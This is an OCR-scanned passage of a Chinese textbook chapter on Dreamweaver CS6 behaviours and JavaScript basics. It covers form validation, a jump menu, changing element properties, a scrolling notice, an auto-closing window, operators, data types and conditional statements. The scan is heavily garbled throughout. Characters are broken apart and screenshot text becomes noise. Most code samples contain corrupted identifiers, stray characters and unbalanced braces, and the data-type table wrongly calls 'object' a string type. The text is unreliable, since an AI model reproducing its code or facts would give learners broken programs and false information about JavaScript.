> 数字 从 ... 到 ...: 表示 字段 必须 是 一 个 数字 且 必 须 在 指定 的 范围 内 。 
(11) 在 这 个 表单 中 ， 所 有 的 字段 都 必须 填写 。usermmame 与 password 可 以 是 非 空 的 任意 值 。email 
必须 是 E-mail 地 址 的 格式 。age 需 填写 一 个 10 一 100 之 间 的 数字 。 如 图 14-24 所 示 ， 选 择 最 后 一 个 数字 


外 
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范围 选项 ， 然 后 在 文本 框 中 输入 数字 的 范围 。 单 击 “ 确 定 ”按钮 ， 完 成 检查 验证 的 设置 。 
Erm es 


全 同 必需 的 


可 接受 ”个 任何 东西 © 数 子 
) 电子 邮件 地 址 证 数 守 从 5 到 名 


14-24 ”检查 表单 的 设置 


(12) 选择 “文件 ”| “保存 ”命令 ， 保 存 网 页 。 
(13) 按 F12 键 在 浏览 器 中 运行 网 页 。 在 网 页 的 表单 中 输入 一 些 内容 ， 然 后 单 击 “ 提 交 ” 按 钮 ， 
网 页 会 对 表单 的 内 容 进 行 检查 。 如 果 表 单 的 内 容 不 符合 所 设置 的 要 求 ， 浏 览 器 会 停止 提交 网 页 并 弹出 
提示 信息 ， 如 图 14-25 所 示 。 
EN 


pl 


站 The following error(s) occurred 
~ username is required. 
~ password is required. 
~ email is required. 


- age must contain a number between 5 and 90. 


图 14-25 浏览 器 检查 表单 


(14) 对 于 验证 以 后 弹出 的 信息 ， 可 以 对 自动 生成 的 JavaScritpt 程序 进行 修改 ， 修 改 成 网 页 所 需 
要 的 提示 信息 。 


14.2.10 ” 跳 转 菜单 


如 果 网 页 中 有 很 多 链接 ， 这 些 链 接 不 需要 直接 显示 在 页 面 上 就 可 以 做 出 一 个 下 拉 跳 转 菜单 ， 把 链 
接 放 在 一 个 下 拉 菜 单 中 。 选 择 下 拉 菜 单 中 的 选项 以 后 ， 页 面 会 自动 跳 转 到 这 个 网 页 。 跳 转 菜单 也 是 用 
JavaScript 编程 实现 的 ， 可 以 借助 Dreamweaver CS6 自动 生成 跳 转 菜单 。 

(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ”| “新 建 ” 命 令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 
建 一 个 HTML 网 页 。 

(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 在 “FE:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg11.html。 
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(3) 在 Dreamweaver CS6 中 选择 “插入 ”| “表单 ”| “ 跳 转 菜单 ”命令 ， 在 网 页 中 插入 一 个 跳 
转 菜单 。“ 跳 转 菜单 ”对 话 框 如 图 14-26 所 示 。 


选择 时 ， 转 到 URL: http://www.baidu. con 


uF 


回 更 改 URL 后 选择 第 一 个 项 目 


14-26 “ 跳 转 菜单 ”对 话 框 


(4) 单 击 “ 跳 转 菜单 ”对 话 框 中 的 “添加 项 ”按钮 回 ， 在 “菜单 项 ”列表 中 添加 一 个 跳 转 菜单 项 ， 
然后 在 “菜单 项 ”中 选择 这 一 个 菜单 项 ， 在 “文本 ”文本 框 中 输入 跳 转 菜单 项 的 文本 名 称 。 在 “选择 
时 ， 转 到 URL” 文 本 框 中 输入 需要 转 跳 的 URL。 用 同样 的 方法 添加 多 项 跳 转 菜单 项 。 

(5) 单 击 “确定 ”按钮 ， 完 成 跳 转 菜 单 的 设置 。 在 设计 视图 中 ， 跳 转 菜单 如 图 14-27 所 示 。 

(6) 选择 “文件 ”| “保存 ”命令 ， 保 存 网 页 。 

(7) 按 F12 键 在 浏览 器 中 运行 网 页 。 如 图 14-28 所 示 ， 单 击 跳 转 菜单 选择 一 个 选项 ， 网 页 会 转 跳 
到 所 设置 的 跳 转 网 页 上 。 


图 14-27 设计 视图 中 的 跳 转 菜单 图 14-28 ”网 页 中 的 跳 转 菜单 


(8) 查看 跳 转 菜单 代码 。 网 页 中 的 跳 转 菜单 实际 上 是 表单 中 的 一 个 下 拉 菜 单 ， 在 选择 选项 时 ， 
JavaScript 程序 调用 下 拉 菜 单 的 下 拉 选 项 ， 实 现 网 页 的 转 跳 。 


<html xmlns="http:/www.w3.org/1999/xhtml"> 

<head> 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<title> 跳 转 菜 单 </title> 

<script type="text/javascript"> 

本 

function MM_jumpMenu(targ,selObj,restorej{ /定义 网 页 跳 转 函数 


evalltargt" .location="+selObj.options[selObj.selectedlndex] .value+"”); // 调 用 下 拉 菜 单 的 值 跳 转 网 页 
if (restore) selObj.selectedindex=0; 
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} 
/> 
</script> 
</head> 
<body> 跳 转 菜单 示例 : 
<form name="form" id="form"> <!-- 网 页 中 的 表单 --> 
<select name="jumpMenu" id="jumpMenu" onchange="MM_jumpMenu(parent this,0)> 
<option value="http://www.baidu.com"> 百 度 </option> <!-- 下 拉 选 项 -> 
<option value="http://www.sina.com"> 新 浪 </option> 
<option value="http://www.163.com"> 网 易 </option> 
<option value="http://www.qq.com">QQ</option> 
</select> 
</form> 
</body> 
</html> 


14.2.11 ”设置 容器 中 的 文本 


使 用 “设置 容器 中 的 文本 ”动作 可 以 用 指定 的 内 容 蔡 换 网 页 上 现 有 的 AP 元 素 中 的 内 容 及 其 相关 
设置 。 

(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ”| 上 “新建” 命令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 
建 一 个 HTML 网 页 。 

(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 在 “E:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg12.html。 

(3) 选择 “插入 ”|“ 布 局 ”|“AP Div” 命 令 ， 插 入 AP 元 素 ， 如 图 14-29 所 示 。 


图 14-29 插入 AP 元 素 


(4) 在 AP 元 素 的 “属性 ”面板 中 输入 AP 元 素 的 名 字 ,， 并 将 “溢出 ”选项 设置 为 seroll， 如 图 14-30 
所 示 。 
属性 
Css 元素。 左 0 宽 晤 | 200px 2 轴 CD) 1 背景 图 像 I) 局 Cc 
si > 高 如 | li5px 可 见 性 [aefwt  v] 背景 颜色 Cc) 三- 

Er | 同 二 看 
小 下 
14-30 “属性 ”面板 


(5) 选择 “窗口 ”|“ 行 为” 命令， 打开 “行为 ”面板 ， 在 其 中 单 击 “ 添 加 行为 ”按钮 ， 在 弹出 的 
菜单 中 选择 “设置 文本 ”| “设置 容器 的 文本 ”选项 ， 弹 出 “设置 容器 的 文本 ”对 话 框 ， 如 图 14-31 所 示 。 


@ 
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新 建 HTML- 欢迎 光临 我 们 的 公司 主页 


14-31 “设置 容器 的 文本 ”对 话 框 
(6) 在 “容器 ”下 拉 列 表 框 中 选择 目标 AP 元 素 ， 在 “新 建 HTML” 列 表 框 中 输入 文本 “欢迎 光 
临 我 们 的 公司 主页 ”， 单 击 “ 确 定 ” 按 钮 ， 添 加 行为 。 
(7) 保存 文档 ， 按 F12 键 预览 效果 ， 如 图 14-32 2 所 示 。 


ppg 
| 


| rm BE 
欢迎 光临 我 们 的 公司 主页 ~ 


14-32 ”预览 效果 


14.2.12 ”改变 属性 


在 用 户 与 浏览 器 进行 某 些 交 互 时 ， 需 要 改变 网 页 上 某 些 对 象 的 样式 ， 这 可 以 通过 改变 网 页 上 这 些 
对 象 的 属性 来 实现 。Dreamweaver CS6 中 利用 标签 工具 可 以 很 方便 地 实现 网 页 属性 的 更 改 。 

(1) 打开 Dreamweaver CS6， 选 择 “文件 ”| “新 建 ” 命 令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 
建 一 个 HTML 网 页 。 

(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 在 “E:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg13.html。 

(3) 选择 “插入 ”| “图 像 ” 命 令 ， 在 网 页 中 插入 图 像 al.gif， 然 后 选择 插入 的 图 像 ， 在 图 像 的 
“属性 ”面板 的 “图 像 ” 文 本 框 中 输入 图 像 的 名 称 “myimg”。 用 同样 的 方法 再 次 插入 图 像 al.gif， 图 
像 的 名 称 设置 为 myimg1。 

(4) 选择 “插入 ”| “表单 ”对 象 | “按钮 ”命令 ， 在 网 页 中 插入 一 个 按钮 。 选 择 这 个 按钮 ， 在 
按钮 的 “属性 ”面板 的 “ 值 ” 文 本 框 中 输入 “更 改 高 度 ”， 在 “动作 ” 栏 中 选中 “无 ” 单 选 按钮 。 用 
同样 的 方法 插入 “更 改 宽度 ”按钮 。 

(5) 在 插入 的 两 个 按钮 中 ，“ 更 改 高 度 ” 按 钮 用 于 更 改 图 片 的 height 属性 ，“ 更 改 宽度 ”按钮 用 
于 更 改 图 片 的 width 属性 。 设 计 视 图 中 的 图 片 和 按钮 如 图 14-33 所 示 。 

(6) 单 击 “ 更 改 高 度 ” 按 钮 ， 选 择 “ 窗 口 ”|“ 行 为” 命令， 打开 “行为 ”面板 ， 在 其 中 单 击 “ 添 
加 行为 ”按钮 国 ， 添 加 一 个 行为 ， 在 弹出 的 菜单 中 选择 “改变 属性 ”选项 ， 弹 出 “改变 属性 ”对 话 框 。 
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(7) 如 图 14-34 所 示 ， 在 “元 素 类 型 ”下 拉 列 表 框 中 选择 IMG 选项 ， 表 示 要 控制 图 片 的 属性 ; 
在 “元 素 DD” 下 拉 列 表 框 中 选择 “图 像 “myimg”” 选 项 ， 表 示 要 控制 网 页 中 的 myimg 图 片 ; 在 “ 属 
性 ” 栏 中 选中 “输入 ” 单 选 按钮 ,在 其 后 面 的 文本 框 中 输入 “height”， 表示 要 控制 图 片 的 高 度 ; 在 “新 
的 值 ”文本 框 中 输入 “200”， 表 示 要 把 图 片 的 高 度 更 改 为 200。 单 击 “确定 ”按钮 ， 完 成 设置 。 


图 14-33 设计 视图 中 的 图 片 和 按钮 图 14-34 “改变 属性 ”对 话 框 的 设置 


(8) 用 同样 的 方法 ， 设置“ 更 改 宽度 ”按钮 动作 ， 然 后 选择 “文件 ”| “保存 ”命令 , 保存 网 页 。 
(9) 按 F12 键 在 浏览 器 中 运行 网 页 。 在 网 页 的 初始 状态 中 ， li 如 图 14-35 所 示 。 


pp 


到 计算 机 | 保护 模式 : 禁用 往 ” 或 100%6 ~ 


图 14-35 ”网 页 中 图 片 的 初始 状态 


(10) 在 网 页 中 单 击 “ 更 改 高 度 ” 按 钮 ， 第 一 张 图 片 的 高 度 会 发 生 改 变 。 单 击 “ 更 改 宽 度 ” 按 钮 ， 
网 页 中 图 片 属性 的 改变 如 图 14-36 和 图 14-37 所 示 。 


改 挛 履 性- n = 
B) ENwork\write-mdf = | 好 | x [3 src 


| [= 
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村 计算 机 | 保护 模式 : 禁用 种” 质 100% > 一 -一 护 100% > 


图 14-36 ”改变 图 片 的 高 度 图 14-37 改变 图 片 的 高 度 和 宽度 


(11) 在 Dreamweaver CS6 的 代码 区 中 查看 网 页 的 代码 。 在 网 页 中 ， 两 个 按钮 调用 了 MM_ 
changeProp0 函 数 来 更 改 网 页 对 象 的 属性 。 网 页 的 代码 如 下 : 
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<html xmIns="http://www.w3.o0rg/1999/xhtml"> 


<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 改 变 属性 </title> 
<script type="text/javascript"> 
i 
function MM_changeProp(objld,x,theProp,theValue) { /定义 更 改 属性 函数 
var obj = null; with (document}{ if (getElementByld) 
obj = getElementByld(objld); } // 取 得 网 页 对 象 
if (obj}{ // 如 果 找 到 对 象 则 执行 
if (theValue == true || theValue == false) 
eval("obj.style."+theProp+"="+theValue); /对 象 添 加 相关 属性 
else eval("obj.style."+theProp+"="+theValue+""); 
} 
| 
外 -> 
</script> 
</head> 
<body> 


<p align="center"><img src="a1.gif' name="myimg" width="100" height="40" id="myimg" /> 
&nbsp;<img src="a1.gif' name="myimg1" width="100" height="40" id="myimg1" /></p> 
<!- 图 像 需要 设置 id 属性 --> 

<p align="center"> 

<input name="button” type="submit” id="button” onclick="MM_changeProp('myimg',",'height','80',"IMG')" 
Value=" 更 改 高 度 " /> <!- 按 钮 更 改 高 度 属性 --> 

&nbsp; 

<input name="button2" ="submit” id="button2” onclick="MM_changeProp('myimg',","width','200","IMG')" 
Value=" 更 改 宽度 " /> <!- 按 钮 更 改 宽度 属性 --> 
</p> 
</body> 
</html> 


14.2.13 ”设置 特殊 效果 


Spry 效果 具有 视觉 增强 的 效果 ， 可 以 将 它们 应 用 于 所 有 使 用 JavaScript 的 HTML 页 面 。 效 果 通 常 
用 于 在 一 段 时 间 内 高 亮 显示 信息 ， 创 建 动画 过 渡 或 以 可 视 方式 修改 页 面 元 素 。 可 以 将 效果 直接 用 于 
HTML 元 素 ， 而 不 需要 其 他 自 定义 标签 。 要 给 某 个 元 素 应 用 效果 ， 必 须 首 先 选中 该 元 素 ， 或 者 它 有 一 
个 ID 供 选 定 。 下 面 以 设置 “ 增 大 /收缩 ”效果 为 例 讲解 如 何 设 置 特殊 效果 。 

(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ”| “新 建 ”命令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 
建 一 个 HTML 网 页 。 

(2) 选择 “文件 ”| “保存 ”命令 ,将 文件 保存 在 “E:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg14.html。 

(3) 选择 “插入 ”| “图 像 ” 命 令 ， 在 网 页 中 插入 一 幅 图 像 ， 如 图 14-38 所 示 。 

(4) 选中 要 设置 效果 的 对 象 ， 选 择 “ 窗 口 ”|“ 行 为 ”命令 ,打开 “行为 ”面板 ,在 其 中 单 击 “ 添 
加 行为 ”按钮 ， 在 弹出 的 菜单 中 选择 “效果 ”|“ 增 大 /收缩 ”选项 。 


286 


14-38 插入 图 像 


加 行为 ， 并 将 onClick 替换 为 onLoad。 


(5) 在 弹出 的 “ 增 大 /收缩 ”对 话 框 中 进行 相应 的 设置 ， 如 图 14-39 所 示 ， 单 击 “ 确 定 ” 按 钮 ， 添 


| 
日 标 元 来 


| 
效果 持续 时 间 : 1000 。 毫秒 


效果 | 收编 


收 亲 外 100 
收 次 到 :59 


收 从 到 | 居中 对 齐 5) 
同 切换 效果 


图 14-39 设置 “ 增 大 /收缩 ”对 话 框 
(6) 保存 文档 ， 欣 铝 2 健 天 各 全 尝 ， 如 图 14-40 所 示 。 


Eeeg Er 


图 14-40 预览 效果 
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如 果 要 制作 收缩 效果 ， 在 “ 增 大 /收缩 ”对 话 框 的 “效果 ”下 拉 列 表 框 中 选择 “放大 ”选项 ， 然 后 
再 进行 相应 的 设置 ， 单 击 “ 确 定 ”按钮 即 可 。 


14.3 ”利用 脚本 制作 特效 网 页 


对 于 有 些 网 页 特效 ，Dreamweaver 并 不 能 直接 生成 特效 脚本 ， 这 时 就 需要 自己 根据 网 页 的 要 求 纺 
成 特效 的 脚本 代码 。 脚 本 代码 可 以 用 JavaScript 或 VBScript 编写 。 


14.3.1 制作 滚动 公告 网 页 


滚动 公告 指 的 是 网 页 中 的 一 部 分 信息 内 容 以 循环 滚动 的 方式 显示 。 滚 动 公告 的 好 处 是 一 个 小 的 区 
域 中 显示 较 多 的 内 容 。 除 了 滚动 公告 以 外 ， 产 品 、 新 闻 等 内 容 也 可 以 是 滚动 条 的 形式 显示 ， 可 以 使 用 
JavaScript 来 实现 网 页 或 是 使 网 页 的 一 部 分 实现 滚动 效果 。 主 要 方法 是 把 图 层 作为 一 个 对 象 ， 按 一 定 的 
时 间 间 隔 更 改 这 个 图 层 的 位 置 ， 与 放电 影 一 样 的 原理 实现 网 页 的 滚动 。 

(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ”| “新 建 ”命令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 
建 一 个 HTML 网 页 。 

(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 在 “E:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg15.html。 

(3) 选择 “插入 ”| ”布局 ”| AP Div 命令 ， 在 网 页 中 插入 一 个 图 层 。 在 设计 视图 中 ， 单 击 图 层 
的 边框 ， 选 择 该 图 层 ， 在 图 层 的 “属性 ”面板 中 设置 图 层 的 名 称 为 mydiv， 选 择 图 层 的 背景 颜色 。 

(4) 在 图 层 中 单 击 ， 并 输入 需要 滚动 的 内 容 。 图 层 中 可 以 插入 文本 、 链 接 、 图 片 、 表 格 等 内 容 。 
例如 ， 可 以 在 滚动 条 中 插入 友情 链接 ， 在 设计 视图 中 图 层 的 内 容 如 图 14-41 所 示 。 


图 14-41 滚动 公告 条 中 的 层 


(5) 在 代码 区 中 ， 图 层 的 代码 如 下 。 图 层 的 代码 包括 <head> 标 签 中 的 CSS 样式 描述 和 <body> 标 
签 中 的 <div> 层 。 


<style type="text/css"> 
< 
#mydiv { 
position:absolute; 
‘Width:229px; 
height:115px: 
Z-index:1; 
background-color: #CCCCFF:; 


@ 
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left: 34px; 
top: 9px:; 
四 
一 > 
</style> <!-head 标签 中 层 的 样式 --> 
<div id="mydiv"> <!- 层 标签 -> 
DIV 滚动 公告 条 示例 <br /><br /> 
<a href="#"> 中 国 新 闻 </a><br> <br> <a href="#'> 国 际 新 闻 </a><br><br> 
<a href="#"> 体 育 新 闻 </a><br><br> <a href="#'> 人 民 日 报 </a><br><br> 
<a href="#"> 中 央 电 视 台 </a><br> 
</div> 
(6) 在 图 层 标签 的 下 方 输入 以 下 JavaScript 脚本 ， 控 制图 层 的 运动 。 
<script language="JavaScript"> 
mydivHeight=100; 
stopscroll=false; 
with(mydiv) 


// 对 mydiv 的 属性 进行 设置 
style.width=0; 
style.height=mydivHeight' 
style.overflowX="visible"; 
style.overflowY="hidden"; 
noWrap=true; 
onmouseover=new Function("stopscroll=true”); // 鼠 标 移 上 时 停止 滚动 
onmouseout=new Function("stopscroll=false"); /鼠标 移出 时 开始 滚动 
ji 
document.write('<div id="templayer style="position:absolute;z-index:1;visibility:hidden"></div>"); 
preTop=0; 
currentTop=0; 
function init() 
{ 
templayer.innerHTML="™"; // 通 过 一 个 图 层 作为 中 间 变 量 
while(templayer.offsetHeight<mydivHeight) 
{ templayer.innerHTML+=mydiv.innerHTML; 


} 
mydiv.innerHTML=templayer.innerHTML+templayer.innerHTML:; 
setInterval("scrollup()",30); // 设 置 图 层 蔡 换 时 间 
有 
document.body.onload=init; /网 页 加 载 时 调用 init 
function scrollup() 
{ // 图 层 运动 方式 的 生成 
if(stopscroll==true) 
return; 
preTop=mydiv.scrollTop; 
mydiv.scrollTop+=1; 
if(preTop==mydiv.scrollTop) 
{ mydiv.scrollTop=templayer.offsetHeight-mydivHeight; 
mydiv.scrollTop+=1; 
} 
} 
</script> 
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(7) 选择 “文件 ”| “保存 ”命令 ,保存 网 页 。 按 F12 键 在 浏览 器 中 运行 网 页 ， 如 图 14-42 所 示 。 
在 网 页 中 ， 图 层 的 内 容 向 上 滚动 。 当 鼠标 移动 到 图 层 上 时 ， 滚 动 停止 ， 当 鼠标 移出 时 ， 图 层 开始 滚 动 。 


图 14-42 JavaScript 实现 的 无 颖 滚动 条 效果 
14.3.2 ”制作 自动 关闭 网 页 


在 网 页 中 可 以 使 用 JavaScript 程序 实现 网 页 的 自动 定时 关闭 功能 。 制 作 自 动 关闭 网 页 有 两 个 要 实现 
的 事件 ， 一 个 是 要 实现 网 页 停留 时 间 的 计时 ， 在 到 达 需 要 的 计时 时 自动 关闭 网 页 。 

(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ”| “新 建 ” 命 令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 
建 一 个 HTML 网 页 。 

(2) 选择 “文件 ”| “保存 ”命令 ， 将 文件 保存 在 “E:\eg14\” 文 件 夹 下 ， 文 件 名 为 eg16.html。 

(3) 在 网 页 的 <head> 标 签 中 输入 以 下 JavaScript 代码 。 函 数 clock0 是 一 个 递归 调用 函数 ， 在 定时 
的 事件 中 ， 会 再 次 调用 自身 函数 。 


<script language="javascript"> 


function clock(){f /定义 一 个 clock() 函 数 ， 实 现 计时 与 时 间 处 理 
i=i-1; 
documenttitle=" 本 窗口 将 在 "+i+" 秒 后 关闭 !; /网 页 标题 栏 的 提示 
if(i>0) 
setTimeout("clock();",1000); /用 setTimeout() 函 数 实现 计时 
else 
self.close(); // 到 达 设 定时 自动 关闭 网 页 
} 
var i=10; // 设 置 定时 
clock(); /调用 函数 
</script> 


14.4 JavaScript 基础 知识 


网 页 中 的 特效 一 般 都 是 用 JavaScript 来 编写 的 。JaavScript 是 一 种 功能 强大 的 语言 ， 可 用 于 网 页 中 
的 交互 脚本 ， 也 可 用 于 ASP 网 页 的 编写 。 本 节 讲 解 JavaScript 的 基本 知识 。 
14.4.1 JavaScript 简介 


JavaScript 是 一 门 完整 的 编程 语言 ， 在 网 页 客户 端 脚本 、ASP 网 站 服务 器 脚本 方面 有 着 广泛 的 应 
用 。.NET 开发 也 可 以 用 JavaScript 编写 代码 。 
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JavaScript 在 语法 上 与 Ct++、Java 有 着 很 多 共同 点 ， 学 习 和 使 用 非常 方便 。 在 学 习 网 站 开发 时 ， 需 
要 学 习 一 些 JavaScript 编程 的 知识 ， 用 于 网 页 的 客户 端 脚本 编写 。 
虽然 Dreamweaver 可 以 生成 各 种 功能 的 JavaScript 代码 ， 但 是 在 进行 实际 开发 中 ， 网 页 的 各 种 交互 
常常 是 通过 网 页 功能 的 需要 使 用 JavaScript 编写 出 所 需要 代码 的 。 例 如 ， 以 下 例子 是 用 JavaScript 来 实现 
表单 的 验证 。 如 果 使 用 Dreamweaver 直接 生成 会 使 有 些 功 能 不 符合 要 求 ， 需 要 直接 编程 构造 这 些 功 能 。 
下 面 是 一 个 表单 验证 的 JavaScript 脚本 程序 实例 。 在 用 户 提交 表单 以 后 ，JavaScript 针对 表单 中 的 
每 一 个 对 象 进行 处 理 ， 按 照 程序 的 需要 检查 表单 。 在 网 页 中 的 网 页 数据 验证 常常 需要 通过 这 种 编程 来 
实现 。 
<html><head> 
<meta http-equiv="Content-Type" content= "text/html; charset=gb2312"> 
<title> 注 册 js</title> 
<script language="JavaScript" type="text/JavaScript"> 
function check(X{ 
if(document.myform.username.value=="™"Y{ 
alert(" 请 输入 用 户 名 "); // 验 证 用 户 名 不 可 为 空 
return false; 
l 
if(document.myform.password1.value==""){ 
alert(" 请 输入 口令 "); // 验 证 口令 不 可 为 空 
return false; 
1 
if(document.myform.password1.value!=document.myform.password2.value}{ 
alert(" 两 次 输入 口令 必须 相同 "); // 验 证 两 次 输入 的 口令 需要 相同 
return false; 


if(!(document.myform.age.value>0&&document.myform.age.value<101)){ 
alert(" 输 入 的 年 龄 无 效 "); // 验 证 年 龄 的 合理 性 
return false; 
1 
} 
</script> 
</head> 
<body> 
<form name="myform" method="post" action="1.asp" onSubmit="return check();"> 
<!-- 在 提交 表单 时 的 onSubmit 事件 时 调用 表单 检查 --> 
<table width="325" border="1" align="center" bordercolor="#CCCCCC"> 
<tr><td colspan="2"><div align="center"> 用 户 注册 </div></td></tr> 
<tr><td width="92"> 用 户 名 </td><td width="217"><input name="username" type="text" id="username"> 
</td></tr> 
<tr><td> 口 令 </td><td><input name="password1" type="text" id="password1"></td></tr> 
<tr><td> 重 复 口令 </td><td><input name="password2" type="text" id="password2"></td></tr> 
<tr><td> 年 龄 </td><td><input name="age" type="text" id="age"></td></tr> 
<tr><td>&nbsp;</td><td><input type="submit" name="Submit" value=" 提 交 "></td></tr> 
</table></form> 
</body></html> 


NV Ras mw ase 


14.4.2 ”在 网 页 中 插入 JavaScript 脚本 


在 一 个 HTML 网 页 中 ， 有 链接 脚本 文件 和 直接 在 网 页 中 编写 代码 两 种 方式 插入 JavaScript 脚本 。 
如 果 需 要 插入 脚本 代码 ， 可 以 把 JavaScript 代码 写 在 一 个 单独 的 文件 上 。 保 存 JavaScript 代码 文件 时 ， 
扩展 名 是 js， 然后 可 以 在 网 页 中 链接 这 个 JavaScript 文件 。 

在 Dreamweaver CS6 中 ， 选 择 “ 插 入 ” | HTML | “脚本 对 象 ”| “脚本 ”命令 ， 弹 出 的 “脚本 ” 
对 话 框 如 图 14-43 所 示 。 在 “类 型 ”下 拉 列 表 框 中 选择 text/javascript 选项 ， 单 击 “ 源 ”文本 框 后 面 的 
“浏览 ”按钮 ， 选 择 一 个 需要 插入 到 网 页 中 的 JavaScript 文件 。 单 击 “确定 ”按钮 ， 完 成 脚本 的 链接 。 
这 时 ， 在 网 页 中 插入 了 下 面 这 段 代 码 。 

<script type="text/javascript" src="left.jsp"> 

</script> 


图 14-43 “脚本 ”对 话 框 
若 未 选择 JavaScript 文件 ， 在 网 页 中 将 插入 如 下 代码 : 


<script type="text/javascript"> 
</script> 


JavaScript 程序 需要 写 在 <script type="text/javascript"> 与 </script> 之 间 。 
14.4.3 ” JavaScript 中 的 运算 符 


JavaScript 中 的 运算 符 ， 包 括 算术 运算 符 、 比 较 运算 符 和 逻辑 运算 符 3 类 。 在 编写 JavaScript 程序 
时 ， 需 要 灵活 使 用 这 些 运算 符 。JavaScript 的 运算 符 如 表 14-1 所 示 。 
表 14-1 JavaScript 的 运算 符 


运 算 符 说 明 
各 < | 加 法 与 减法 运算 
i | 乘法 与 除法 

% | 两 者 相 除 求 余数 


递增 。 将 数值 加 1 
递减 。 如 x=3:x 一 : 则 结果 为 2 
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续 表 

运 算 符 说 了 明 

== 比较 运算 ， 等 于 

x—y 全 等 于 。 如 x=2 与 x<=“2” 不 全 等 于 

> >= 比较 运算 ， 大 于 和 大 于 等 于 

< < 一 比较 运算 ， 小 于 和 小 于 等 于 

二 不 等 于 

! 一 不 全 等 于 

! 非 运 算 ， 对 布尔 值 取 反 

&& 与 运算 

| 或 运算 

= 赋值 运算 符 ， 将 右边 的 值 赋 值 给 左边 

0 括号 运算 ， 改 变 程序 的 运算 顺序 


14.4.4 ”JavaScript 的 变量 与 数据 类 型 


JavaScript 有 number、string、object、boolean、null、undefined 6 种 主要 数据 类 型 。 数 据 类 型 的 信 
息 与 用 法 如 表 14-2 所 示 。 


表 14-2 ” JavaScript 数据 类 型 


数据 类 型 用 法 
number 数字 ， 可 能 是 整 型 、 浮 点 数 、 长 整 型 
string 字符 串 
object 字符 串 类 型 ， 字 符 串 需要 用 单 引号 或 双 引 号 引起 来 
boolean 布尔 值 ， 可 能 的 布尔 值 有 true 和 false 
null 无 效 的 数据 类 型 
Undefined 没有 定义 的 数据 类 型 


JavaScript 用 Var 定义 变量 。 在 JavaScript 中 ， 一 般 不 考虑 数据 类 型 ， 程 序 在 执行 时 ， 会 自动 为 程 
序 中 的 变量 分 配 数 据 类 型 。 如 下 面 的 JavaScript 程序 : 


Var a,b,c; 

Var str1,str2,str3; 
A=3; 

B=4.5; 

C=at+tb; 
Str1="abce"; 
Str2='def; 

Str3 = str1+str2; 


14.4.5 JavaScript 的 常用 语句 


JavaScript 的 语法 类 似 C 语言 或 Java。 在 进行 JavaScript 编程 时 ， 需 要 掌握 和 灵活 使 用 JavaScript 
的 常用 语句 。 
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1. 注释 语句 
在 JavaScript 的 程序 中 ， 需 要 正确 使 用 注释 语句 ， 对 程序 进行 注释 。 注 释 语句 可 以 使 程序 有 更 好 的 


可 读 性 ， 以 便于 再 次 开发 。JavaScript 的 注释 有 单行 注释 和 多 行 注释 两 种 。 


回 用 “/” 实 现 单行 注释 。 在 一 个 语句 中 ,“/” 以 后 所 有 的 内 容 都 是 注释 内 容 。 

回 用 “/* */” 实 现 多 行 注释 。 在 程序 中 “/*” 与 “*/” 之 间 所 有 的 内 容 都 是 对 程序 的 注释 。 例 
如 ， 一 段 程序 可 以 用 下 面 的 方法 进行 注释 。 

/程序 信息 

程序 编写 时 间 : 2007.6.7 

程序 作者 : Jim 

程序 内 容 : 数据 的 定义 与 转换 

wl 

Var age ; // 定 义 一 个 变量 


2. 于 判断 
在 程序 中 ， 常 常 需 要 对 各 种 数据 进行 判断 ， 这 就 需要 使 用 判断 语句 。JavaScript 程序 中 让 判断 的 基 


本 格式 如 下 : 


i 条件) 
{执行 的 内 容 } 


如 果 执 行 判断 的 条 件 只 有 两 种 ， 一 种 情况 不 成 立时 ， 另 一 种 情况 一 定 成 立 ， 这 时 可 以 使 用 if else 


语句 。if else 判断 语句 的 基本 格式 如 下 : 


if( 条 件 ) 
{执行 的 内 容 } 
else 
{执行 的 内 容 } 


例如 ， 一 段 程序 判断 一 个 数 是 奇数 还 是 偶数 ， 需 要 对 这 个 数 除 以 2 求 余 ， 然 后 判断 余数 输出 结果 。 


网 页 的 程序 如 下 : 


<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>if 判 断 </title> 
</head> 
<body> 
<script type="text/javascript"> 
vari; 
i= 3; 
if(i % 2 ==0) 
document write(" 偶 数 "); 
else 
document.write(" 奇 数 "); 
</script> 
</body> 
</html> 


如 果 判 断 的 情况 多 于 两 种 ， 则 需要 使 用 判断 嵌 套 。 在 嵌 套 的 判断 语句 中 ， 每 一 个 else 与 前 面 最 近 


@ 
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的 一 个 让 条件 配 对 。 如 下 面 的 嵌 套 判断 语句 用 来 判断 一 个 数 的 正 负 情况 。 


<html xmIns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>if 嵌 套 </title> 
</head> 
<body> 
<script type="text/javascript"> 
vari; 
i= -3; 
ifi<0) 
document.write(" 负 数 "); 
else 
{if(i>0) 
document.write(" 正 数 "); 
else 
document.write(" 零 "); 
} 
</script> 
</body> 
</html> 


3. switch 判断 


在 判断 语句 中 ， 如 果 判 断 的 结果 很 多 ， 则 需要 使 用 switch 选择 执行 语句 。switch 执行 语句 会 分 别 
上 断 结果 的 各 种 情况 ， 执 行 相应 的 语句 。switch 语句 的 基本 结构 如 下 : 


Switch() 
条 件 1: 
执行 1; break; 
条 件 2: 
执行 2; break; 
条 件 3: 
执行 3; break; 
} 


